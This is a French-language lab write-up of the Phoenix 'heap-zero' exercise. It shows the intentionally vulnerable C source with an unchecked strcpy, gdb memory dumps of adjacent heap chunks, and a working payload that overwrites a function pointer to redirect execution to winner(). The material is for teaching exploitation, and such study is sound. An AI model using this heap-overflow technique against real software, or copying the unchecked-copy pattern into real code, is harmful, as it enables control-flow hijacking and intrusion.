Phoenix exploit education heap-zero
Contents
Phoenix heap zero
Premier exercice heap de la suite Phoenix exploit education. Débordement de mémoire dans le tas.
Le source
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
void winner() {
printf("Congratulations, you have passed this level\n");
}
void nowinner() {
printf(
"level has not been passed - function pointer has not been "
"overwritten\n");
}
int main(int argc, char **argv) {
struct data *d;
struct fp *f;
printf("%s\n", BANNER);
if (argc < 2) {
printf("Please specify an argument to copy :-)\n");
exit(1);
}
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
fflush(stdout);
f->fp();
return 0;
}
Solution
L’allocation de la structure data ayant eu lieu juste avant la structure fp les deux blocs mémoire doivent se suivre.
Le strcpy se fait sans contrôle donc un débordement de data peut écraser le pointeur fp.
On localise la fonction winner
$ nm /opt/phoenix/i486/heap-zero|grep winner
0804884e T nowinner
08048835 T winner
Les chunk méméoire ont une entête de 8 octets. On doit avoir.
header[8] | data[64] | h[8] | fp
On peut observer la zone mémoire
(gdb) r $(printf "%064d" 0)
Breakpoint 1, 0x080488e3 in main ()
(gdb) ni
0x080488e8 in main ()
(gdb) x/80xw 0xf7e69000
0xf7e69000: [0x00000000 0x00000049 0x30303030 0x30303030
header du chunk data data
0xf7e69010: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69020: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69030: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69040: 0x30303030 0x30303030] [0x00000000 0x00000049
Header du chunk fp
0xf7e69050: 0x0804884e] 0x00000000 0x00000000 0x00000000
fp
Execution :
$ /opt/phoenix/i486/heap-zero $(printf "%072d\x35\x88\x04\x08" 0)
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
Conclusion.
On a pu voir comment il est possible de déborder d’une zône de mémoire dans le tas et de maîtriser la zône écrasée.